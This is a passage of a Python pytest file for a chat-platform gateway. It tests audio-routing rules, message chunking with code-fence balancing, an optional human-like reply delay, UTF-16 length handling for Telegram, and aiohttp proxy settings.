|
|
|
out = BasePlatformAdapter.filter_local_delivery_paths([str(notes)])
|
|
assert out == [str(notes.resolve())]
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# should_send_media_as_audio
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestShouldSendMediaAsAudio:
|
|
"""Audio-routing policy shared by gateway + scheduler + send_message."""
|
|
|
|
def test_unknown_extension_returns_false(self):
|
|
from gateway.platforms.base import should_send_media_as_audio
|
|
assert should_send_media_as_audio(None, ".png") is False
|
|
assert should_send_media_as_audio("telegram", ".pdf") is False
|
|
|
|
def test_non_telegram_platforms_route_all_audio(self):
|
|
from gateway.platforms.base import should_send_media_as_audio
|
|
for ext in (".mp3", ".m4a", ".wav", ".flac", ".ogg", ".opus"):
|
|
assert should_send_media_as_audio("discord", ext) is True
|
|
assert should_send_media_as_audio("slack", ext) is True
|
|
|
|
def test_telegram_mp3_and_m4a_route_to_audio(self):
|
|
from gateway.platforms.base import should_send_media_as_audio
|
|
assert should_send_media_as_audio("telegram", ".mp3") is True
|
|
assert should_send_media_as_audio("telegram", ".m4a") is True
|
|
|
|
def test_telegram_wav_and_flac_fall_through_to_document(self):
|
|
from gateway.platforms.base import should_send_media_as_audio
|
|
assert should_send_media_as_audio("telegram", ".wav") is False
|
|
assert should_send_media_as_audio("telegram", ".flac") is False
|
|
|
|
def test_telegram_ogg_opus_only_when_voice_flagged(self):
|
|
from gateway.platforms.base import should_send_media_as_audio
|
|
assert should_send_media_as_audio("telegram", ".ogg", is_voice=True) is True
|
|
assert should_send_media_as_audio("telegram", ".opus", is_voice=True) is True
|
|
assert should_send_media_as_audio("telegram", ".ogg") is False
|
|
assert should_send_media_as_audio("telegram", ".opus") is False
|
|
|
|
def test_accepts_platform_enum(self):
|
|
from gateway.config import Platform
|
|
from gateway.platforms.base import should_send_media_as_audio
|
|
assert should_send_media_as_audio(Platform.TELEGRAM, ".mp3") is True
|
|
assert should_send_media_as_audio(Platform.TELEGRAM, ".flac") is False
|
|
assert should_send_media_as_audio(Platform.DISCORD, ".flac") is True
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# truncate_message
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestTruncateMessage:
|
|
def _adapter(self):
|
|
"""Create a minimal adapter instance for testing static/instance methods."""
|
|
|
|
class StubAdapter(BasePlatformAdapter):
|
|
async def connect(self):
|
|
return True
|
|
|
|
async def disconnect(self):
|
|
pass
|
|
|
|
async def send(self, *a, **kw):
|
|
pass
|
|
|
|
async def get_chat_info(self, *a):
|
|
return {}
|
|
|
|
from gateway.config import Platform, PlatformConfig
|
|
|
|
config = PlatformConfig(enabled=True, token="test")
|
|
return StubAdapter(config=config, platform=Platform.TELEGRAM)
|
|
|
|
def test_short_message_single_chunk(self):
|
|
adapter = self._adapter()
|
|
chunks = adapter.truncate_message("Hello world", max_length=100)
|
|
assert chunks == ["Hello world"]
|
|
|
|
def test_exact_length_single_chunk(self):
|
|
adapter = self._adapter()
|
|
msg = "x" * 100
|
|
chunks = adapter.truncate_message(msg, max_length=100)
|
|
assert chunks == [msg]
|
|
|
|
def test_long_message_splits(self):
|
|
adapter = self._adapter()
|
|
msg = "word " * 200 # ~1000 chars
|
|
chunks = adapter.truncate_message(msg, max_length=200)
|
|
assert len(chunks) > 1
|
|
# Verify all original content is preserved across chunks
|
|
reassembled = "".join(chunks)
|
|
# Strip chunk indicators like (1/N) to get raw content
|
|
for word in msg.strip().split():
|
|
assert word in reassembled, f"Word '{word}' lost during truncation"
|
|
|
|
def test_chunks_have_indicators(self):
|
|
adapter = self._adapter()
|
|
msg = "word " * 200
|
|
chunks = adapter.truncate_message(msg, max_length=200)
|
|
assert "(1/" in chunks[0]
|
|
assert f"({len(chunks)}/{len(chunks)})" in chunks[-1]
|
|
|
|
def test_code_block_first_chunk_closed(self):
|
|
adapter = self._adapter()
|
|
msg = "Before\n```python\n" + "x = 1\n" * 100 + "```\nAfter"
|
|
chunks = adapter.truncate_message(msg, max_length=300)
|
|
assert len(chunks) > 1
|
|
# First chunk must have a closing fence appended (code block was split)
|
|
first_fences = chunks[0].count("```")
|
|
assert first_fences == 2, "First chunk should have opening + closing fence"
|
|
|
|
def test_code_block_language_tag_carried(self):
|
|
adapter = self._adapter()
|
|
msg = "Start\n```javascript\n" + "console.log('x');\n" * 80 + "```\nEnd"
|
|
chunks = adapter.truncate_message(msg, max_length=300)
|
|
if len(chunks) > 1:
|
|
# At least one continuation chunk should reopen with ```javascript
|
|
reopened_with_lang = any("```javascript" in chunk for chunk in chunks[1:])
|
|
assert reopened_with_lang, (
|
|
"No continuation chunk reopened with language tag"
|
|
)
|
|
|
|
def test_continuation_chunks_have_balanced_fences(self):
|
|
"""Regression: continuation chunks must close reopened code blocks."""
|
|
adapter = self._adapter()
|
|
msg = "Before\n```python\n" + "x = 1\n" * 100 + "```\nAfter"
|
|
chunks = adapter.truncate_message(msg, max_length=300)
|
|
assert len(chunks) > 1
|
|
for i, chunk in enumerate(chunks):
|
|
fence_count = chunk.count("```")
|
|
assert fence_count % 2 == 0, (
|
|
f"Chunk {i} has unbalanced fences ({fence_count})"
|
|
)
|
|
|
|
def test_each_chunk_under_max_length(self):
|
|
adapter = self._adapter()
|
|
msg = "word " * 500
|
|
max_len = 200
|
|
chunks = adapter.truncate_message(msg, max_length=max_len)
|
|
for i, chunk in enumerate(chunks):
|
|
assert len(chunk) <= max_len + 20, (
|
|
f"Chunk {i} too long: {len(chunk)} > {max_len}"
|
|
)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# _get_human_delay
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestGetHumanDelay:
|
|
def test_off_mode(self):
|
|
with patch.dict(os.environ, {"HERMES_HUMAN_DELAY_MODE": "off"}):
|
|
assert BasePlatformAdapter._get_human_delay() == 0.0
|
|
|
|
def test_default_is_off(self):
|
|
with patch.dict(os.environ, {}, clear=False):
|
|
os.environ.pop("HERMES_HUMAN_DELAY_MODE", None)
|
|
assert BasePlatformAdapter._get_human_delay() == 0.0
|
|
|
|
def test_natural_mode_range(self):
|
|
with patch.dict(os.environ, {"HERMES_HUMAN_DELAY_MODE": "natural"}):
|
|
delay = BasePlatformAdapter._get_human_delay()
|
|
assert 0.8 <= delay <= 2.5
|
|
|
|
def test_natural_mode_ignores_malformed_custom_env_vars(self):
|
|
env = {
|
|
"HERMES_HUMAN_DELAY_MODE": "natural",
|
|
"HERMES_HUMAN_DELAY_MIN_MS": "oops",
|
|
"HERMES_HUMAN_DELAY_MAX_MS": "still-bad",
|
|
}
|
|
with patch.dict(os.environ, env):
|
|
delay = BasePlatformAdapter._get_human_delay()
|
|
assert 0.8 <= delay <= 2.5
|
|
|
|
def test_custom_mode_uses_env_vars(self):
|
|
env = {
|
|
"HERMES_HUMAN_DELAY_MODE": "custom",
|
|
"HERMES_HUMAN_DELAY_MIN_MS": "100",
|
|
"HERMES_HUMAN_DELAY_MAX_MS": "200",
|
|
}
|
|
with patch.dict(os.environ, env):
|
|
delay = BasePlatformAdapter._get_human_delay()
|
|
assert 0.1 <= delay <= 0.2
|
|
|
|
def test_custom_mode_tolerates_malformed_env_vars(self):
|
|
env = {
|
|
"HERMES_HUMAN_DELAY_MODE": "custom",
|
|
"HERMES_HUMAN_DELAY_MIN_MS": "oops",
|
|
"HERMES_HUMAN_DELAY_MAX_MS": "still-bad",
|
|
}
|
|
with patch.dict(os.environ, env):
|
|
# falls back to the custom-mode defaults instead of crashing
|
|
delay = BasePlatformAdapter._get_human_delay()
|
|
assert 0.8 <= delay <= 2.5
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# utf16_len / _prefix_within_utf16_limit / truncate_message with len_fn
|
|
# ---------------------------------------------------------------------------
|
|
# Ported from nearai/ironclaw#2304 — Telegram counts message length in UTF-16
|
|
# code units, not Unicode code-points. Astral-plane characters (emoji, CJK
|
|
# Extension B) are surrogate pairs: 1 Python char but 2 UTF-16 units.
|
|
|
|
|
|
class TestUtf16Len:
|
|
"""Verify the UTF-16 length helper."""
|
|
|
|
def test_ascii(self):
|
|
assert utf16_len("hello") == 5
|
|
|
|
def test_bmp_cjk(self):
|
|
# CJK ideographs in the BMP are 1 code unit each
|
|
assert utf16_len("你好") == 2
|
|
|
|
def test_emoji_surrogate_pair(self):
|
|
# 😀 (U+1F600) is outside BMP → 2 UTF-16 code units
|
|
assert utf16_len("😀") == 2
|
|
|
|
def test_mixed(self):
|
|
# "hi😀" = 2 + 2 = 4 UTF-16 units
|
|
assert utf16_len("hi😀") == 4
|
|
|
|
def test_musical_symbol(self):
|
|
# 𝄞 (U+1D11E) — Musical Symbol G Clef, surrogate pair
|
|
assert utf16_len("𝄞") == 2
|
|
|
|
def test_empty(self):
|
|
assert utf16_len("") == 0
|
|
|
|
|
|
class TestPrefixWithinUtf16Limit:
|
|
"""Verify UTF-16-aware prefix truncation."""
|
|
|
|
def test_fits_entirely(self):
|
|
assert _prefix_within_utf16_limit("hello", 10) == "hello"
|
|
|
|
def test_ascii_truncation(self):
|
|
result = _prefix_within_utf16_limit("hello world", 5)
|
|
assert result == "hello"
|
|
assert utf16_len(result) <= 5
|
|
|
|
def test_does_not_split_surrogate_pair(self):
|
|
# "a😀b" = 1 + 2 + 1 = 4 UTF-16 units; limit 2 should give "a"
|
|
result = _prefix_within_utf16_limit("a😀b", 2)
|
|
assert result == "a"
|
|
assert utf16_len(result) <= 2
|
|
|
|
def test_emoji_at_limit(self):
|
|
# "😀" = 2 UTF-16 units; limit 2 should include it
|
|
result = _prefix_within_utf16_limit("😀x", 2)
|
|
assert result == "😀"
|
|
|
|
def test_all_emoji(self):
|
|
msg = "😀" * 10 # 20 UTF-16 units
|
|
result = _prefix_within_utf16_limit(msg, 6)
|
|
assert result == "😀😀😀"
|
|
assert utf16_len(result) == 6
|
|
|
|
def test_empty(self):
|
|
assert _prefix_within_utf16_limit("", 5) == ""
|
|
|
|
|
|
class TestTruncateMessageUtf16:
|
|
"""Verify truncate_message respects UTF-16 lengths when len_fn=utf16_len."""
|
|
|
|
def test_short_emoji_message_no_split(self):
|
|
"""A short message under the UTF-16 limit should not be split."""
|
|
msg = "Hello 😀 world"
|
|
chunks = BasePlatformAdapter.truncate_message(msg, 4096, len_fn=utf16_len)
|
|
assert len(chunks) == 1
|
|
assert chunks[0] == msg
|
|
|
|
def test_emoji_near_limit_triggers_split(self):
|
|
"""A message at 4096 codepoints but >4096 UTF-16 units must split."""
|
|
# 2049 emoji = 2049 codepoints but 4098 UTF-16 units → exceeds 4096
|
|
msg = "😀" * 2049
|
|
assert len(msg) == 2049 # Python len sees 2049 chars
|
|
assert utf16_len(msg) == 4098 # but it's 4098 UTF-16 units
|
|
|
|
# Without UTF-16 awareness, this would NOT split (2049 < 4096)
|
|
chunks_naive = BasePlatformAdapter.truncate_message(msg, 4096)
|
|
assert len(chunks_naive) == 1, "Without len_fn, no split expected"
|
|
|
|
# With UTF-16 awareness, it MUST split
|
|
chunks = BasePlatformAdapter.truncate_message(msg, 4096, len_fn=utf16_len)
|
|
assert len(chunks) > 1, "With utf16_len, message should be split"
|
|
|
|
# Each chunk must fit within the UTF-16 limit
|
|
for i, chunk in enumerate(chunks):
|
|
assert utf16_len(chunk) <= 4096, (
|
|
f"Chunk {i} exceeds 4096 UTF-16 units: {utf16_len(chunk)}"
|
|
)
|
|
|
|
def test_each_utf16_chunk_within_limit(self):
|
|
"""All chunks produced with utf16_len must fit the limit."""
|
|
# Mix of BMP and astral-plane characters
|
|
msg = ("Hello 😀 world 🎵 test 𝄞 " * 200).strip()
|
|
max_len = 200
|
|
chunks = BasePlatformAdapter.truncate_message(msg, max_len, len_fn=utf16_len)
|
|
for i, chunk in enumerate(chunks):
|
|
u16_len = utf16_len(chunk)
|
|
assert u16_len <= max_len + 20, (
|
|
f"Chunk {i} UTF-16 length {u16_len} exceeds {max_len}"
|
|
)
|
|
|
|
def test_all_content_preserved(self):
|
|
"""Splitting with utf16_len must not lose content."""
|
|
words = ["emoji😀", "music🎵", "cjk你好", "plain"] * 100
|
|
msg = " ".join(words)
|
|
chunks = BasePlatformAdapter.truncate_message(msg, 200, len_fn=utf16_len)
|
|
reassembled = " ".join(chunks)
|
|
for word in words:
|
|
assert word in reassembled, f"Word '{word}' lost during UTF-16 split"
|
|
|
|
def test_code_blocks_preserved_with_utf16(self):
|
|
"""Code block fence handling should work with utf16_len too."""
|
|
msg = "Before\n```python\n" + "x = '😀'\n" * 200 + "```\nAfter"
|
|
chunks = BasePlatformAdapter.truncate_message(msg, 300, len_fn=utf16_len)
|
|
assert len(chunks) > 1
|
|
# Each chunk should have balanced fences
|
|
for i, chunk in enumerate(chunks):
|
|
fence_count = chunk.count("```")
|
|
assert fence_count % 2 == 0, (
|
|
f"Chunk {i} has unbalanced fences ({fence_count})"
|
|
)
|
|
|
|
|
|
class TestProxyKwargsForAiohttp:
|
|
"""Verify proxy_kwargs_for_aiohttp routes all schemes through ProxyConnector."""
|
|
|
|
def test_none_returns_empty(self):
|
|
from gateway.platforms.base import proxy_kwargs_for_aiohttp
|
|
|
|
sess_kw, req_kw = proxy_kwargs_for_aiohttp(None)
|
|
assert sess_kw == {}
|
|
assert req_kw == {}
|
|
|
|
def test_http_proxy_uses_connector_when_aiohttp_socks_available(self):
|
|
pytest.importorskip("aiohttp_socks")
|
|
from unittest.mock import MagicMock
|
|
from gateway.platforms.base import proxy_kwargs_for_aiohttp
|
|
|
|
sentinel = MagicMock(name="ProxyConnector")
|
|
with patch("aiohttp_socks.ProxyConnector.from_url", return_value=sentinel):
|
|
sess_kw, req_kw = proxy_kwargs_for_aiohttp("http://proxy:8080")
|
|
assert sess_kw.get("connector") is sentinel, (
|
|
"HTTP proxy must use ProxyConnector so libraries that don't "
|
|
"forward per-request proxy= kwargs still route through the proxy"
|
|
)
|
|
assert req_kw == {}
|
|
|
|
def test_socks_proxy_uses_connector(self):
|
|
pytest.importorskip("aiohttp_socks")
|
|
from unittest.mock import MagicMock
|
|
from gateway.platforms.base import proxy_kwargs_for_aiohttp
|
|
|
|
sentinel = MagicMock(name="ProxyConnector")
|
|
with patch("aiohttp_socks.ProxyConnector.from_url", return_value=sentinel):
|
|
sess_kw, req_kw = proxy_kwargs_for_aiohttp("socks5://proxy:1080")
|
|
assert sess_kw.get("connector") is sentinel
|
|
assert req_kw == {}
|
|
|
|
def test_http_proxy_falls_back_without_aiohttp_socks(self):
|
|
from gateway.platforms.base import proxy_kwargs_for_aiohttp
|
|
|
|
with patch.dict("sys.modules", {"aiohttp_socks": None}):
|
|
sess_kw, req_kw = proxy_kwargs_for_aiohttp("http://proxy:8080")
|
|
assert sess_kw == {}
|
|
assert req_kw == {"proxy": "http://proxy:8080"}
|